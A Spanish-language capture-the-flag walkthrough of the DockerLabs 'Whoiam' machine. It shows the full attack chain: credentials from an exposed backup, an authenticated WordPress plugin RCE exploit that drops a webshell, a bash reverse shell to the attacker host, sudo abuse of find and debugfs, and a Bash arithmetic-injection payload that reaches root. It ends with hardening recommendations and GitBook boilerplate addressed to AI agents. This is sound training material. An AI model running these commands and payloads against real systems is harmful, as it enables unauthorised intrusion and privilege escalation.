> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/whoiam.md).

# Whoiam

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone un WordPress vulnerable. La cadena comienza con un backup accesible desde la web, continua con una explotacion autenticada del plugin **Modern Events Calendar Lite** y termina con varias escaladas de privilegios mediante reglas `sudo` mal configuradas.

***

## Reconocimiento

Se empieza con un escaneo de versiones sobre la maquina objetivo:

```bash
nmap -sV -p- -T4 172.18.0.2
```

![Nmap](/files/zwJ0KORQuewtSTaDcasP)

El resultado muestra un unico puerto abierto:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 80/tcp | HTTP     | Apache httpd 2.4.58 Ubuntu |

Al acceder al servicio web aparece una pagina sencilla llamada **Whoiam**.

![Web principal](/files/8nOWyLGo4fNshVJs69MZ)

***

## Enumeracion web

Se realiza fuerza bruta de directorios y archivos con `gobuster`:

```bash
gobuster dir -u http://172.18.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](/files/046LbqL5Ck5yodg6G3UG)

Entre los recursos encontrados destacan rutas tipicas de WordPress y un directorio de backups:

| Recurso         | Codigo | Comentario              |
| --------------- | ------ | ----------------------- |
| `/wp-content/`  | 301    | Contenido de WordPress  |
| `/wp-login.php` | 200    | Login de WordPress      |
| `/wp-admin/`    | 301    | Panel de administracion |
| `/backups/`     | 301    | Directorio expuesto     |
| `/xmlrpc.php`   | 405    | Endpoint XML-RPC        |

Al visitar `/backups/` se observa directory listing con un archivo comprimido:

![Backups](/files/bsOuRbUTynQp0OtSyyoH)

El archivo interesante es:

```
databaseback2may.zip
```

Tras descargarlo y revisar su contenido, se obtiene una tabla con credenciales:

![Credenciales](/files/EwMnCZqRJ2IVUMCP0WWz)

Credenciales encontradas:

| Usuario     | Password                   |
| ----------- | -------------------------- |
| `developer` | `2wmy3KrGDRD%RsA7Ty5n71L^` |

***

## Acceso a WordPress

Con las credenciales encontradas se inicia sesion en el panel de WordPress como `developer`.

![Dashboard](/files/3kqHVhn2XUyLHrENpcEA)

Desde el panel de usuarios se identifican dos cuentas administradoras:

![Usuarios WordPress](/files/LuKeIPAVs1aeanErYmsp)

| Usuario     | Rol           |
| ----------- | ------------- |
| `developer` | Administrator |
| `erik`      | Administrator |

En la seccion de plugins aparece activo **Modern Events Calendar Lite** version `5.16.2`.

![Plugins](/files/yn1EfKlUEqifBQbPqIez)

***

## Explotacion del plugin

Se buscan exploits disponibles para el plugin:

```bash
searchsploit modern events
```

![Searchsploit](/files/gQvI33RXG51j3rgraksd)

El resultado muestra un exploit de ejecucion remota de comandos autenticada:

```
Wordpress Plugin Modern Events Calendar 5.16.2 - Remote Code Execution (Authenticated)
php/webapps/50082.py
```

Se ejecuta el exploit usando las credenciales de `developer`:

```bash
python 50082.py -t 172.18.0.2 -P 80 -u developer -p '2wmy3KrGDRD%RsA7Ty5n71L^' -d /
```

![Exploit MEC](/files/YGTVdEE7a5i9oE3igpNB)

El exploit autentica correctamente y sube una webshell en:

```
http://172.18.0.2:80//wp-content/uploads/shell.php
```

![Webshell](/files/nHFFTFFOkf5Rqp9EUACh)

Desde la webshell se comprueba que el usuario inicial es `www-data`:

```bash
id
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

***

## Reverse shell

Para trabajar con mas comodidad se lanza una reverse shell desde la webshell:

```bash
bash -c "bash -i >& /dev/tcp/172.18.0.1/4444 0>&1"
```

![Reverse shell desde webshell](/files/lax63vxBJE8xDl919xra)

En la maquina atacante se recibe la conexion con `nc`:

```bash
nc -lvnp 4444
```

![Conexion recibida](/files/JHF5yPWQ0zA2vemUtHzT)

***

## Escalada a rafa

Se revisan los permisos de `sudo` del usuario `www-data`:

```bash
sudo -l
```

![sudo www-data](/files/Y2rvG5aTn0I7yzjc7qOM)

El usuario `www-data` puede ejecutar `/usr/bin/find` como `rafa` sin password:

```
(rafa) NOPASSWD: /usr/bin/find
```

En GTFOBins se comprueba que `find` permite ejecutar una shell:

![GTFOBins find](/files/uosLOzcI8HyvCYK6VU8q)

Se abusa de esa regla `sudo` para obtener una shell como `rafa`:

```bash
sudo -u rafa /usr/bin/find . -exec /bin/sh \; -quit
id
```

![Shell rafa](/files/7klxjxs54ePjUbvQBJM3)

El resultado confirma el cambio de usuario:

```
uid=1001(rafa) gid=1001(rafa) groups=1001(rafa),100(users)
```

***

## Escalada a ruben

Como `rafa`, se vuelven a revisar los permisos de `sudo`:

```bash
sudo -l
```

![sudo rafa](/files/ySol0g2K3qhG2AqneofM)

`rafa` puede ejecutar `/usr/sbin/debugfs` como `ruben` sin password:

```
(ruben) NOPASSWD: /usr/sbin/debugfs
```

En GTFOBins se observa que `debugfs` tambien permite invocar una shell interactiva:

![GTFOBins debugfs](/files/C7YtnmqVwLebQOuyDCT9)

Se ejecuta `debugfs` como `ruben` y desde su prompt se lanza `/bin/sh`:

```bash
sudo -u ruben /usr/sbin/debugfs
!/bin/sh
id
```

![Shell ruben](/files/wFOGPwbUmsXPCV6VaWuu)

La salida confirma el acceso como `ruben`:

```
uid=1002(ruben) gid=1002(ruben) groups=1002(ruben),100(users)
```

***

## Escalada a root

Con el usuario `ruben` se comprueban los permisos `sudo`:

```bash
sudo -l
```

![sudo ruben](/files/0ZZ0C8Rb6uIyG31i0dNN)

`ruben` puede ejecutar un script como cualquier usuario:

```
(ALL) NOPASSWD: /bin/bash /opt/penguin.sh
```

Al revisar el contenido del script se ve que lee un valor numerico y lo compara con `42`:

```bash
cat /opt/penguin.sh
```

![penguin.sh](/files/RaBOvNLTQKn7TKTDpCKL)

Contenido relevante:

```bash
#!/bin/bash

read -rp "Enter guess: " num

if [[ $num -eq 42 ]]
then
    echo "Correct"
else
    echo "Wrong"
fi
```

La comparacion aritmetica permite inyectar sustitucion de comandos dentro del valor introducido. Se ejecuta el script con `sudo` y se introduce una carga que invoca `/bin/bash`:

```bash
sudo /bin/bash /opt/penguin.sh
a[$(/bin/bash)]
```

![Root](/files/qEIPHkTEvk5KMyoJ2bKP)

Tras ejecutarlo, el prompt cambia a `root`, confirmando la escalada final.

***

## Conclusion

La maquina se compromete aprovechando un backup expuesto que revela credenciales validas de WordPress. Con acceso administrativo se identifica el plugin vulnerable **Modern Events Calendar Lite 5.16.2**, se explota una RCE autenticada y se obtiene una shell como `www-data`.

La escalada de privilegios se basa en una cadena de reglas `sudo` demasiado permisivas: `find` permite pasar a `rafa`, `debugfs` permite pasar a `ruben` y finalmente `/opt/penguin.sh` permite ejecutar codigo como `root` por una comparacion aritmetica insegura.

### Puntos clave

| Fase               | Tecnica                             | Resultado                      |
| ------------------ | ----------------------------------- | ------------------------------ |
| Reconocimiento     | Nmap                                | HTTP en el puerto 80           |
| Enumeracion web    | Gobuster                            | WordPress y `/backups/`        |
| Credenciales       | Backup expuesto                     | Usuario `developer`            |
| Acceso inicial     | WordPress admin                     | Plugin vulnerable identificado |
| Explotacion        | RCE autenticada MEC 5.16.2          | Webshell como `www-data`       |
| Shell              | Reverse shell                       | Acceso interactivo             |
| Movimiento lateral | `sudo` + `find`                     | Usuario `rafa`                 |
| Movimiento lateral | `sudo` + `debugfs`                  | Usuario `ruben`                |
| Escalada final     | Inyeccion en comparacion aritmetica | Shell como `root`              |

### Recomendaciones

* No exponer backups dentro del document root.
* Evitar almacenar credenciales en archivos descargables.
* Mantener WordPress, temas y plugins actualizados.
* Restringir el acceso al panel de administracion.
* Revisar reglas `sudo` y evitar binarios con capacidad de ejecutar shells.
* Validar entradas numericas antes de usarlas en expresiones aritmeticas de Bash.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/whoiam.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
